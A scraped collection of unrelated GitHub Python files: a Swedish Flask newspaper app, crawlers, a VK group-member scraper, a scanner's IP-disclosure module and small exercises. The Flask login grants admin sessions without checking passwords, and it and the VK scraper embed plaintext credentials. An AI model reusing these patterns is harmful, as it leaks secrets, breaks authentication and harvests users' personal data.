\"m11p3220\")\n\n cursor = mddb.cursor()\n get_articles = \"\"\"SELECT * FROM artikel ORDER BY datum DESC\"\"\"\n cursor.execute(get_articles)\n texts = cursor.fetchall()\n\n navbar = queries_function.get_nav_content()\n art_no = queries_function.get_quantities()\n\n return render_template(\"index.html\", texts=texts, navbar=navbar, art_no=art_no)\n\n@app.route(\"/login\", methods=[\"GET\", \"POST\"])\ndef login():\n\n navbar = queries_function.get_nav_content()\n art_no = queries_function.get_quantities()\n\n# Inloggningsformulär för administratören.\n\n form = LoginForm(request.form)\n if request.method == \"POST\":\n username = request.form[\"username\"]\n password_candidate = request.form[\"password\"]\n\n cursor = mddb.cursor()\n signature = cursor.execute(\"SELECT * FROM admin WHERE username = %s\", (username,))\n data = cursor.fetchone()\n\n# Om användarnamn och lösenord finns registrerade skapas en logged in-session.\n\n if len(data) != 0:\n password = data[0]\n username = data[0]\n session[\"logged_in\"] = True\n session[\"username\"] = username\n flash(\"Välkommen!\", \"success\")\n return redirect(url_for(\"index\"))\n cursor.close()\n else:\n flash(\"Ingen användare med denna epost hittades\", \"danger\")\n return render_template(\"login.html\", form=form)\n else:\n return render_template(\"login.html\", form=form, title=\"Logga in\", navbar=navbar, art_no=art_no)\n \n@app.route(\"/logout/\")\n@is_logged_in\ndef logout():\n\n# Stänger av logged in-sessionen och användaren återgår till det \"vanliga\" innehållet.\n\n session.clear()\n return redirect(url_for(\"index\"))\n\n@app.route(\"/artikel/\", methods=[\"GET\", \"POST\"])\ndef article(art_id): \n\n mddb = psycopg2.connect(host = \"pgserver.mah.se\",\n user=\"m11p3220\",\n password = \"a4e094h8\",\n database = \"m11p3220\")\n\n# Hämtar den artikel som klickats på.\n\n cursor = mddb.cursor()\n cursor.execute(\"\"\"SELECT * FROM artikel \n WHERE art_id = %s\"\"\",\n (art_id,))\n article_full = cursor.fetchone()\n\n# Hämtar tillhörande journalist(er) till vald artikel via en sambandstabell.\n\n cursor = mddb.cursor()\n get_journalist = \"\"\"SELECT j.namn, j.p_nr FROM artikel as a \n JOIN skriven_av as s \n ON a.art_id = s.art_id \n JOIN journalist as j \n ON s.journalist = j.p_nr \n WHERE a.art_id=%s\"\"\"\n cursor.execute(get_journalist, (art_id,))\n authors = cursor.fetchall()\n\n# Hämtar tillhörande bild(er) till vald artikel via en sambandstabell.\n\n cursor = mddb.cursor()\n get_images = \"\"\"SELECT b.bild_id, b.bildfil, b.alt_text, s.bildtext FROM artikel as a \n JOIN artikel_bild as s\n ON a.art_id = s.art_id \n JOIN bild as b \n ON s.bild_id = b.bild_id \n WHERE a.art_id=%s\"\"\"\n cursor.execute(get_images, (art_id,))\n photos = cursor.fetchall()\n\n# Kommentarformulär för vald artikel.\n\n form = CommentaryForm(request.form)\n if form.validate():\n namn = form.namn.data.strip()\n kommentar = form.kommentar.data.strip()\n\n# Lägger in kommentarer tillhörande vald artikel till databasen.\n\n cursor = mddb.cursor()\n cursor.execute(\"\"\"INSERT INTO kommentar (art_id, namn, kommentar) \n VALUES (%s, %s, %s)\"\"\", \n (art_id, namn, kommentar))\n mddb.commit()\n cursor.close()\n return redirect(url_for(\"index\"))\n\n# Listar kommentarer tillhörande vald artikel.\n\n cursor = mddb.cursor()\n cursor.execute(\"\"\"SELECT namn, kommentar, tid_datum, kom_id\n FROM kommentar\n where art_id = %s\"\"\", \n (art_id,))\n comments = cursor.fetchall()\n\n navbar = queries_function.get_nav_content()\n art_no = queries_function.get_quantities()\n\n return render_template(\"artikel.html\", title=\"Artikel\", form=form, article_full=article_full, comments=comments, authors=authors, photos=photos, navbar=navbar, art_no=art_no)\n\n@app.route(\"/category/\", methods=[\"GET\", \"POST\"])\ndef category(kat_id): \n\n cursor = mddb.cursor()\n get_articles = \"\"\"SELECT a.art_id, a.rubrik, a.ingress, a.datum, u.underkategorinamn, k.kategorinamn\n FROM artikel as a\n JOIN underkategori as u\n ON a.undkat_id = u.undkat_id\n JOIN kategori as k\n ON u.kat_id = k.kat_id\n WHERE k.kat_id = %s\"\"\"\n cursor.execute(get_articles, (kat_id,))\n articles = cursor.fetchall()\n\n navbar = queries_function.get_nav_content()\n art_no = queries_function.get_quantities()\n\n return render_template(\"category.html\", title=\"Kategori\", articles=articles, navbar=navbar, art_no=art_no)\n\n@app.route(\"/subcategory/\", methods=[\"GET\", \"POST\"])\ndef subcategory(undkat_id): \n\n cursor = mddb.cursor()\n get_articles = \"\"\"SELECT a.art_id, a.rubrik, a.ingress, a.datum, u.underkategorinamn\n FROM artikel as a\n JOIN underkategori as u\n ON a.undkat_id = u.undkat_id\n WHERE u.undkat_id =%s\"\"\"\n cursor.execute(get_articles, (undkat_id,))\n articles = cursor.fetchall()\n\n navbar = queries_function.get_nav_content()\n art_no = queries_function.get_quantities()\n\n return render_template(\"subcategory.html\", title=\"Underkategori\", articles=articles, navbar=navbar, art_no=art_no)\n\n@app.route(\"/add_article\", methods=[\"GET\", \"POST\"])\n@is_logged_in\ndef add_article():\n\n# Formulär för att skriva in en ny artikel.\n\n form = ArticleForm(request.form)\n if form.validate():\n rubrik = form.rubrik.data.strip()\n ingress = form.ingress.data.strip()\n text = form.text.data.strip()\n datum = form.datum.data\n undkat_id = form.undkat_id.data\n p_nr = form.p_nr.data\n\n# Lägger in ny artikel till databasen.\n\n cursor = mddb.cursor()\n new_article = \"\"\"INSERT INTO artikel (rubrik, ingress, text, datum, undkat_id) \n VALUES (%s, %s, %s, %s, %s)\"\"\"\n cursor.execute(new_article, (rubrik, ingress, text, datum, undkat_id))\n\n# Hämtar artikel-ID från den senast inlagda artikeln.\n\n get_artid = \"\"\"SELECT art_id FROM artikel ORDER BY art_id DESC LIMIT 1;\"\"\"\n cursor.execute(get_artid)\n latest_article = cursor.fetchone()\n art_id = latest_article[0]\n\n# Lägger till artikel-ID från den senast inlagda artikeln i sambandstabellen.\n\n add_artid = \"\"\"INSERT INTO skriven_av (art_id, journalist) VALUES (%s, %s)\"\"\"\n cursor.execute(add_artid, (int(art_id), p_nr))\n\n mddb.commit()\n cursor.close()\n return redirect(url_for(\"index\"))\n\n navbar = queries_function.get_nav_content()\n art_no = queries_function.get_quantities()\n\n return render_template(\"add_article.html\", title=\"Skriv artikel\", form=form, navbar=navbar, art_no=art_no)\n\n@app.route(\"/journalist/\")\ndef journalist(p_nr):\n\n# Listar journalistsidan till vald journalist.\n\n jourcursor = mddb.cursor()\n author = \"\"\"SELECT * FROM journalist WHERE p_nr = %s\"\"\"\n jourcursor.execute(author, (p_nr,))\n journalist_info = jourcursor.fetchone()\n\n navbar = queries_function.get_nav_content()\n art_no = queries_function.get_quantities()\n\n return render_template(\"journalist.html\", title=\"Journalist\", journalist_info=journalist_info, navbar=navbar, art_no=art_no)\n \n@app.route(\"/delete_comment/\", methods=[\"GET\", \"POST\"])\n@is_logged_in\ndef delete_comment(kom_id):\n\n# Tar bort vald kommentar från databasen.\n\n cursor = mddb.cursor()\n del_com = \"\"\"DELETE FROM kommentar WHERE kom_id = %s\"\"\"\n cursor.execute(del_com, (kom_id,))\n mddb.commit()\n cursor.close()\n return redirect(url_for(\"index\"))\n\n\nif __name__ == \"__main__\":\n app.secret_key='secret123'\n app.run(port=8080, debug=True)","repo_name":"MartinLobell/Mortfors-Dagblad","sub_path":"Mörtfors Dagblad/mortforsdagblad/project-files/dagblad.py","file_name":"dagblad.py","file_ext":"py","file_size_in_byte":9231,"program_lang":"python","lang":"sv","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"29544676676","text":"# --*-- coding: utf-8 --*--\n\nimport os\nimport sys\n\nfrom utils.log import NOTICE, log, ERROR, RECORD\n\nBASE_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"..\"))\nsys.path.append(BASE_DIR)\n\nimport time\nimport random\nfrom config import CELERY_BROKER, CELERY_BACKEND, CRAWL_INTERVAL\nfrom db_access import *\nfrom utils.blacklist import blacklist_site, blacklist_company\nfrom utils.content_process import complement_url, check_content\nfrom utils.diff import diff_file\nfrom utils.html_downloader import crawl\nfrom bs4 import BeautifulSoup\nfrom celery import Celery\n\n\ncelery_app = Celery('info_engine', broker=CELERY_BROKER, backend=CELERY_BACKEND)\ncelery_app.conf.update(CELERY_TASK_RESULT_EXPIRES=3600)\n\nwebsites = get_websites()\n# websites = get_websites_desc()\n\n@celery_app.task\ndef extract(w_id):\n try:\n w = get_website(w_id)\n # log(NOTICE, \"开始 #{id} {name} {site} \".format(id=w.id, name=w.company.name_cn, site=w.url))\n\n new_html_content = crawl(w.url)\n if not new_html_content:\n log(NOTICE, \"#{id} {name} {site} 抓到更新 0 条\".format(id=w.company.id, name=w.company.name_cn, site=w.url))\n return\n\n if w.html_content:\n old_html_content = w.html_content.content\n else:\n save_html_content(w.id, new_html_content)\n log(NOTICE, \"#{id} {name} {site} 抓到更新 0 条\".format(id=w.company.id, name=w.company.name_cn, site=w.url))\n return\n\n diff_text = diff_file(old_html_content, new_html_content)\n if not diff_text:\n log(NOTICE, \"#{id} {name} {site} 抓到更新 0 条\".format(id=w.company.id, name=w.company.name_cn, site=w.url))\n return\n\n save_html_content(w.id, new_html_content)\n\n soup = BeautifulSoup(diff_text, 'lxml')\n items = soup.find_all('a')\n COUNT = 0\n if items:\n for a in items:\n if a.string:\n url, text = a.get('href'), a.string\n check_pass = check_content(url, text)\n if check_pass:\n url = complement_url(url, w.url)\n if url:\n result = save_info_feed(url, text, w.id, w.company.id)\n if result:\n COUNT += 1\n # log(RECORD, \"[name] [+] [{url} {text}]\".format(name=w.company.name_cn, url=url, text=text.strip()))\n if COUNT == 0:\n log(NOTICE, \"#{id} {name} {site} 抓到更新 {count} 条\".format(id=w.company.id, name=w.company.name_cn, site=w.url, count=COUNT))\n else:\n log(RECORD, \"#{id} {name} {site} 抓到更新 {count} 条\".format(id=w.company.id, name=w.company.name_cn, site=w.url, count=COUNT))\n\n except Exception as e:\n try:\n w = get_website(w_id)\n log(ERROR, \"#{id} {name} {site} {err}\".format(id=w.id, name=w.company.name_cn, site=w.url, err=str(e)))\n except Exception as e:\n log(ERROR, str(e))\n\n\ndef gen_info():\n # random.shuffle(websites)\n for w in websites[:]:\n if (w.url not in blacklist_site) and (w.company.name_cn not in blacklist_company):\n extract.delay(w.id)\n\n\n\n\n\n\nif __name__ == '__main__':\n while True:\n gen_info()\n time.sleep(60 * CRAWL_INTERVAL)\n\n","repo_name":"javatang/news_feed","sub_path":"info_engine.py","file_name":"info_engine.py","file_ext":"py","file_size_in_byte":3352,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"21"} +{"seq_id":"32070500591","text":"\nimport requests\n\nprefix = 'http://europeana.eu/api/v2/search.json'\nresource_prefix = 'http://europeana.eu/api/v2/record'\n\nclass Search(object):\n def __init__(self, api_key):\n self.api_key = api_key\n\n def query(self, query):\n args = { \n 'wskey': self.api_key, \n 'query': query, \n 'start': '1', \n 'rows': '12', \n 'profile': 'standard'\n }\n r = requests.get(prefix, params=args)\n return r.json()\n\n def preview_urls(self, query):\n for i in self.query(query)['items']:\n yield i['edmPreview'][0]\n\n def resources(self, query):\n def gen_search_results():\n start = 1\n batch_size = 12\n\n while True:\n args = {\n 'wskey': self.api_key, \n 'query': query, \n 'start': str(start), \n 'rows': str(batch_size), \n 'profile': 'standard'\n }\n start += batch_size\n results = requests.get(prefix, params=args).json()\n\n item_count = int(results[\"itemsCount\"])\n for i in xrange(0, item_count):\n yield results[\"items\"][i]\n\n for item in gen_search_results():\n args = {\n 'wskey': self.api_key, \n 'profile': 'full'\n }\n url = \"%s%s.json\" % (resource_prefix, item[\"id\"])\n\n result = requests.get(url, params=args).json()\n result[\"search_result\"] = item\n yield result\n","repo_name":"mk270/europeana-search","sub_path":"europeana/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":1611,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"32462250498","text":"#!/usr/bin/env python \n# -*- coding:utf-8 -*-\n#\n# @name: Spaghetti - Web Application Security Scanner\n# @repo: https://github.com/m4ll0k/Spaghetti\n# @author: Momo Outaadi (M4ll0k)\n# @license: See the file 'LICENSE.txt'\n\nfrom utils import parser\nfrom utils import output\n\ndef IP(content):\n\tlist_ip = parser.Parser(content).getip()\n\tif len(list_ip) > 1:\n\t\toutput.Output().plus('Found Private IP: %s'%str(list_ip).split('[')[1].split(']')[0])\n\telif len(list_ip) == 1:\n\t\toutput.Output().plus('Found Private IP: %s'%list_ip[0])","repo_name":"ryanmrestivo/red-team","sub_path":"Web-Application-Attack/Security_Spaghetti/modules/discovery/disclosure/ip.py","file_name":"ip.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","stars":91,"dataset":"github-code","pt":"21"} +{"seq_id":"630342718","text":"class Graph:\n def __init__(self):\n self.graph = {}\n\n def addEdge(self, u, v):\n if u not in self.graph:\n self.graph[u] = []\n self.graph[u].append(v)\n\n def bfs(self, s):\n visited = [False] * (len(self.graph))\n queue = []\n queue.append(s)\n visited[s]=True\n while queue:\n s=queue.pop(0)\n print(\"s\",s)\n print(\"visited\",visited)\n print(\"graph\",self.graph)\n\n \n for i in self.graph[s]:\n if visited[i]==False:\n visited[i]=True\n queue.append(i)\n\ng=Graph()\ng.addEdge(0,1)\ng.addEdge(0,2)\ng.addEdge(1,3)\n\ng.bfs(0)\n\n\n\n \n","repo_name":"Vinayak-Gaonkar/my-competitive-soln","sub_path":"bfs.py","file_name":"bfs.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"29333358341","text":"class Car(object):\n name = 'BMW'\n def __init__(self, name):\n self.name = name\n @classmethod\n def run(cls,speed):\n print(cls.name,speed,'行驶')\n# 访问方式1\nc = Car(\"宝马\")\nc.run(\"100迈\")\n# 访问方式2\nCar.run(\"100迈\")","repo_name":"liwei0423/python-crawler","sub_path":"study/Car.py","file_name":"Car.py","file_ext":"py","file_size_in_byte":254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13271274101","text":"from setuptools import setup, find_packages\n\nwith open((\"README.md\"), encoding='utf-8') as f:\n long_description = f.read()\n\nsetup(\n name='fast_csv',\n version='1.3.4',\n packages=find_packages(),\n url='https://github.com/YUX-IO/fast_csv',\n license='MIT',\n author='yux',\n author_email='yu.xiao.fr@gmail.com',\n description='reduce memory usage',\n install_requires=['numpy', 'pandas'],\n long_description=long_description,\n long_description_content_type='text/markdown',\n entry_points={\n 'console_scripts': [\n 'fast_csv=fast_csv:read_csv'\n ]\n }\n)\n","repo_name":"YUX/fast_csv","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"21"} +{"seq_id":"13367966071","text":"# -*- coding: utf-8 -*-\n# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this file,\n# You can obtain one at http://mozilla.org/MPL/2.0/.\n\nimport argparse\nimport json\nimport sys\n\n\ndef set_hook(hook_path, version):\n with open(hook_path, \"r\") as hook_file:\n hook_data = json.load(hook_file)\n\n task_payload = hook_data[\"task\"][\"payload\"]\n\n task_image = task_payload.get(\"image\")\n\n # 1) Insert or replace the environment variable\n if task_payload[\"env\"]:\n if \"$merge\" not in task_payload[\"env\"]:\n task_payload[\"env\"] = {\"$merge\": [task_payload[\"env\"]]}\n\n task_payload[\"env\"][\"$merge\"].append({\"TAG\": version})\n else:\n task_payload[\"env\"][\"TAG\"] = version\n\n # 2) Set the version for the hook docker image\n if task_image:\n image_name = task_image.split(\":\", 1)[0]\n if image_name.startswith(\"mozilla/bugbug-\"):\n task_payload[\"image\"] = f\"{image_name}:{version}\"\n\n with open(hook_path, \"w\") as hook_file:\n json.dump(\n hook_data, hook_file, sort_keys=True, indent=4, separators=(\",\", \": \")\n )\n\n\ndef parse_args(raw_args):\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"version\",\n metavar=\"version\",\n type=str,\n help=\"The version to set in the hook definition\",\n )\n parser.add_argument(\n \"hook_file\",\n metavar=\"hook-file\",\n type=str,\n help=\"The hook definition file to update in-place\",\n )\n\n return parser.parse_args(raw_args)\n\n\nif __name__ == \"__main__\":\n args = parse_args(sys.argv[1:])\n set_hook(args.hook_file, args.version)\n","repo_name":"mozilla/bugbug","sub_path":"infra/set_hook_version.py","file_name":"set_hook_version.py","file_ext":"py","file_size_in_byte":1712,"program_lang":"python","lang":"en","doc_type":"code","stars":469,"dataset":"github-code","pt":"21"} +{"seq_id":"9761945925","text":"x = int(input())\ny = int(input())\ndef revsNum(number):\n revs_number = 0\n while (number > 0): \n remainder = number % 10 \n revs_number = (revs_number * 10) + remainder \n number = number // 10\n return revs_number\n\nif revsNum(x)>revsNum(y):\n print(str(y) + \" < \" + str(x))\nelif revsNum(x)= 1 , \"Content\"] = \"Dear \".capitalize() + df['FIRSTNAME'].str.capitalize() + \" We miss you. Get reconnected to your ZUKU Internet today with 50% off. for enquiry please contact 0723116674\"\n\n# filter by 1000 chunks of file\nprint(len(df))\n\nlen_each_data = 1000\n\nprint(df[:5])#from 0 to ...\nprint(\"breack\")\nprint(df[5:])# from ... to last index\n\n\nprint(len(df))\n\n\n# df.tail(1000).to_csv(\"tail_1000.csv\")\n\n# print(len(df.tail(1000)))\n# print(df.tail(1000))\n# print(df.tail(1000).to_csv(\"tail_1000.csv\"))\n\n\n\n\n\n\n\n\n\n\n# veiw all colums name \n# column_names = list(df.columns.values)\n# for column_name in column_names:\n# print(column_name) \n\n# print(df.tail(1000).to_csv(\"test.csv\"))\n\n\n\n\n\n\n\n\n#make a content column and and adding capitalizing to the names\n# df['Content'] = \"hello \".capitalize() + df['FIRSTNAME'].str.capitalize() + \" we actualy miss you\"\n# Dear STEPHEN We miss you. Get reconnected to your ZUKU Internet today with 50% off. for enquiry please contact 0723116674\n#data[\"Salary\"].str.len()\n# df['Content'] = \"Daer \".capitalize() + df['FIRSTNAME'].str.capitalize() + \" We miss you. Get reconnected to your ZUKU Internet today with 50% off. for enquiry please contact 0723116674\"\n\n# df['Content'] = df['FIRSTNAME'].str.len()\n\n# df.loc[df['First_name'] == 'Ria', 'Status'] = 'Found' \n# df.loc[df['First_name'] != 'Ria', 'Status'] = 'Not Found' \n# df.loc[df['INSTALLDATE'] > start_date, 'Status'] = 1\n# print(df['INSTALLDATE'].head(5))\n","repo_name":"patrickwide/Zuku-sales-marketing-charn-bot-using-whatsapp-automation","sub_path":"data work folder/filter_data.py","file_name":"filter_data.py","file_ext":"py","file_size_in_byte":2925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26305604458","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def addTwoNumbers(self, l1: Optional[ListNode], l2: Optional[ListNode]) -> Optional[ListNode]:\n num1, num2 = \"\", \"\"\n while l1 != None:\n num1 = str(l1.val) + num1\n l1 = l1.next\n while l2 != None:\n num2 = str(l2.val) + num2\n l2 = l2.next\n\n num3 = str(int(num1) + int(num2))[::-1]\n\n ansL = ListNode(num3[0])\n\n print(num3)\n\n for i in num3[1:]:\n self.insert(ansL, int(i))\n\n return ansL\n\n\n def insert(self, l: ListNode, v: int):\n if l.next == None:\n l.next = ListNode(v)\n else:\n self.insert(l.next, v)\n","repo_name":"DCoxshall/LeetCode","sub_path":"AddTwoNumbers.py","file_name":"AddTwoNumbers.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41984315365","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport csv\nimport urllib\nimport json\nfrom time import sleep\nimport vk_auth\nfrom datetime import datetime, timedelta\nimport os\n\ndef get_json(url):\n\tgetjson = urllib.request.urlopen(url).readall().decode('utf-8')\n\tgetjson = json.loads(getjson)\n\tsleep(0.3)\n\treturn getjson\n\napp_id = '5406914'\naccess_token = vk_auth.auth('vktool@mail.ru', 'vkpassvk', app_id, 'offline')[0]\nprint (access_token)\n\ncount_downloaded = 0\n\npublics_list = open('../config/config.json').read()\npublics_list = json.loads(publics_list)\n\nfout = open('../tmp/groups_' + str(publics_list['public_id'][0]) + '.csv', 'w')\ncsvwriter = csv.writer(fout)\ncsvwriter.writerows([['id','name','description','count_members', 'count_posts', 'count_members']])\nusers=[]\n\n\noffset = 0;\nprint ('Listing users...')\nurl = 'https://api.vk.com/method/groups.getMembers?fields=name&access_token=' + access_token + '&count=1&offset=' + str(offset) + '&group_id=' + str(publics_list['public_id'][0])\nmembers = get_json(url)\ntry:\n\tmembers = get_json(url)\nexcept:\n\tprint ('Failed listing users')\nif ('response' in members):\n\tmembers_count = members['response']['count']\nwhile True:\n\turl = 'https://api.vk.com/method/groups.getMembers?fields=name,sex,bdate,city,universities&access_token=' + access_token + '&count=1000&offset=' + str(offset) + '&group_id=' + str(publics_list['public_id'][0])\n\ttry:\n\t\tmembers = get_json(url)\n\texcept:\n\t\tprint ('Failed listing users')\n\tif 'response' in members:\n\t\tfor member in members['response']['users']:\n\t\t\tif not (member['uid'] in users):\n\t\t\t\tusers.append(member['uid'])\n\tif (offset + 1000 > members_count):\n\t\tbreak\n\toffset += 1000\n\ngroup_list = {}\ncurr_user = 1\n\nfor user in users:\n\tgroups_processed = 0\n\tgroup_url = 'https://api.vk.com/method/groups.get?access_token=' + access_token + '&extended=1&count=1000&user_id=' + str(user)\n\ttry:\n\t\tgroups = get_json(group_url)\n\texcept:\n\t\tprint ('Failed getting id' + str(user) + \"' groups\")\n\tif ('response' in groups):\n\t\tprint('Processing user '+ str(curr_user)+ ' out of '+str(len(users))+\"...\")\n\t\tcurr_user += 1\n\n\t\tdel groups['response'][0]\n\t\tfor group in groups['response']:\n\t\t\tgroups_processed += 1 \n\t\t\tif (group['gid'] not in group_list):\n\n\t\t\t\tcount_downloaded += 1\n\t\t\t\tif (count_downloaded % 25 == 0):\n\t\t\t\t\tfout.close()\n\t\t\t\t\tfout = open('../tmp/groups_' + str(publics_list['public_id'][0]) + '.csv', 'a')\n\t\t\t\t\tcsvwriter = csv.writer(fout)\n\n\t\t\t\tprint ('Processing group №' + str(groups_processed) + ' out of ' + str(len(groups['response'])))\n\t\t\t\twall = 'https://api.vk.com/method/wall.get?access_token=' + access_token + '&filter=owner&offset=0&count=1&owner_id=-' + str(group['gid'])\n\t\t\t\ttry:\n\t\t\t\t\twall = get_json(wall)\n\t\t\t\texcept:\n\t\t\t\t\tprint ('Failed getting ' + str(group['gid']) + ' wall')\n\t\t\t\tif 'response' in wall:\n\t\t\t\t\tcount_posts = wall['response'][0]\n\n\t\t\t\tgroup_list[group['gid']] = 1\n\t\t\t\tgroup_info = 'https://api.vk.com/method/groups.getById?group_id=' + str(group['gid']) + '&fields=description,members_count'\n\t\t\t\ttry:\n\t\t\t\t\tgroup_info = get_json(group_info)\n\t\t\t\texcept:\n\t\t\t\t\tprint ('Failed getting ' + str(group['gid']) + ' info')\n\t\t\t\tif ('response' in group_info):\n\t\t\t\t\tfor group in group_info['response']:\n\t\t\t\t\t\tdescription = ''\n\t\t\t\t\t\tmembers_count = 0\n\t\t\t\t\t\tname = ''\n\t\t\t\t\t\tif ('name' in group):\n\t\t\t\t\t\t\tname = group['name']\n\t\t\t\t\t\t\tname = name.replace(';', ':')\n\t\t\t\t\t\tif ('description' in group):\n\t\t\t\t\t\t\tdescription = group['description']\n\t\t\t\t\t\t\tdescription = description.replace(';', ':')\n\t\t\t\t\t\tif ('members_count' in group):\n\t\t\t\t\t\t\tmembers_count = group['members_count']\n\t\t\t\t\t\tcsvwriter.writerows([[group['gid'], name, description, str(members_count), count_posts]])\n\t\t\telse:\n\t\t\t\tgroup_list[group['gid']] += 1\n\nfout.close()\nfout = open('../tmp/groups_' + str(publics_list['public_id'][0]) + '.csv', 'r')\ninfo = open('../results/csv/groups_' + str(publics_list['public_id'][0]) + '.csv', 'w')\ncsvreader = csv.reader(fout)\ncsvwriter = csv.writer(info)\ncsvwriter.writerows([['id','name','description','count_members', 'count_posts', 'count_members']])\nnext(csvreader)\nfor row in csvreader:\n\tcsvwriter.writerows([[row[0], row[1], row[2], row[3], row[4], group_list[int(row[0])]]])\n\nfout.close()\ninfo.close()\n\nos.remove('../tmp/groups_' + str(publics_list['public_id'][0]) + '.csv')","repo_name":"ryavorsky/7maps","sub_path":"scripts/groups_info.py","file_name":"groups_info.py","file_ext":"py","file_size_in_byte":4271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35234064162","text":"from django.urls import path\nfrom main.views import CompanyListView,InteractionListView,PartnerListView,OverlapListView, DataFileView, OverlapTimeframeListView, InteractionTypeListView, view\n\nurlpatterns = [\n # path('test/', Home.as_view()),\n path('companies/', CompanyListView.as_view()),\n path('interactions/', InteractionListView.as_view()),\n path('interactions/types/', InteractionTypeListView.as_view()),\n path('partners/',PartnerListView.as_view()),\n path('overlap/', OverlapListView.as_view()),\n path('upload/', DataFileView.as_view()),\n path('overlap/filter/', OverlapTimeframeListView.as_view()),\n path('view/', view)\n]\n\n","repo_name":"oSoc18/vlaio-network-backend","sub_path":"main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"38019072350","text":"import cv2\nimport numpy as np\nimport pandas as pd\nimport os\nimport PIL as pl\nfrom matplotlib import pyplot as plt\n\n#x,y为输入的起始点坐标 img为图像\n\ndef lineDect(img,x,y):\n size_x=img.shape[1] #像素的列\n size_y=img.shape[0] #像素的行\n #rflag = np.zeros([size_y, size_x]) # 矩阵标志位,表明当前像素是否已被检测\n #print(np.sum(rec_flag==1))\n img_b = img[:, :, 0]\n boundary = 20 #边界值\n small_col=x\n big_col=x\n small_row = y\n big_row = y\n\n #向上找最小行索引\n for in_row in range(y,boundary, -1):\n if (img_b[in_row, x]>127):\n small_row = in_row\n #rflag[in_row,x]=1\n else:\n break\n\n #向下找最大的行索引\n for in_row in range(y, size_y-boundary, 1):\n if(img_b[in_row, x]>127 ):\n big_row=in_row\n #rflag[in_row, x] = 1\n else:\n break\n\n #向右找最大的列索引\n for in_col in range(x,size_x-boundary,1):\n #if (np.all(rflag[small_row:big_row, in_col])== 0):\n rec = img_b[small_row:big_row, in_col]\n #print(rec.shape)\n h=big_row-small_row\n all_sum = np.sum(rec>127)\n #print(h,all_sum)\n if all_sum > (h * 0.85): #判断线段上点是否有90 %\n big_col = in_col\n #rflag[small_row:big_row, in_col]=1\n else:\n break\n\n # 向左找最大的列索引\n for in_col in range(x,boundary,-1):\n #if (np.all(rflag[small_row:big_row, in_col]) == 0):\n rec = img_b[small_row:big_row, in_col]\n h = big_row - small_row\n all_sum = np.sum(rec>127)\n if all_sum > (h * 0.85): # 判断线段上点是否有90 %\n small_col = in_col\n #rflag[small_row:big_row, in_col]=1\n else:\n break\n\n point = [small_row,big_row,small_col,big_col]\n #print(point)\n return point\n\ndef GlobalDect(img):\n print('开始检测:')\n # 彩色通道使用#\n img_b = img[:, :, 0]\n #单通道使用#\n #img_b = img\n # print(np.sum(img_b>0))\n #print(img_b.shape)\n size_x = img_b.shape[1] #像数列数\n size_y = img_b.shape[0] #像数行数\n print(size_x,size_y)\n boundary=10\n #df=pd.DataFrame(columns=['point_1','point_2','point_3','point_4','point_1'])\n #CoordinateSet=pd.DataFrame(columns=['small_col','small_row','big_col','big_row'])\n count=0\n CreateTxtFileHead()\n rec_flag=np.zeros([size_y,size_x]) #矩阵标志位,标志当前像素点是否被之前的矩阵圈住\n for row_index in range(boundary,size_y-boundary,1):\n for col_index in range(boundary,size_x-boundary,1):\n if(rec_flag[row_index,col_index]):\n continue\n else:\n #point=lineDect(img,col_index,row_index)\n #rec_flag[point[0]:point[1],point[2]:point[3]]=1\n col_end=col_index\n for index in range(col_index,size_x-boundary,1):\n if(img_b[row_index,index]<127):\n col_end=index\n break\n rec_flag[row_index,col_index:col_end]=1\n if (col_index==col_end):\n continue\n else:\n #cv2.rectangle(img, (row_index, col_index), (row_index, col_end), (0, 0, 255), 1)\n #保存矩形四个顶点的像素坐标,注意横纵坐标 这里保存的是(y,x)形式,即是先读行后读列\n #df.loc[df.shape[0]] = {\"point_1\": (point[0], point[2]),\"point_2\": (point[0], point[3]),\"point_3\": (point[1], point[3]),\"point_4\": (point[1], point[2]),\"point_1\": (point[0], point[2])}\n #CoordinateSet.loc[CoordinateSet.shape[0]]={\"small_col\": point[2],\"small_row\": point[0],\"big_col\": point[3],\"big_row\": point[1]}\n CreateTxtFile((-1*row_index),col_index,col_end)\n count=count+1\n CreateTxtFileTail()\n print(count)\n #print(np.sum(rec_flag==1),np.sum(rec_flag==0),np.sum(img_b>0))\n #print(\"检测占比:\",'%.2f%%' % (np.sum(rec_flag == 1)/np.sum(img_b > 0)*100))\n #df.to_csv('data/data_point.csv')\n #CoordinateSet.to_csv('data/CoordinateSet.csv')\n\ndef image_binarization(path,Threshold):\n #获取文件名\n print(Threshold)\n img=cv2.imread(path)\n content, tempfilename = os.path.split(path)\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n #指定阈值 灰度二值化\n retval, dst = cv2.threshold(gray, Threshold, 255, cv2.THRESH_BINARY)\n # 最大类间方差法(大津算法),thresh会被忽略,自动计算一个阈值\n #retval, dst = cv2.threshold(gray, 0, 255, cv2.THRESH_BINARY 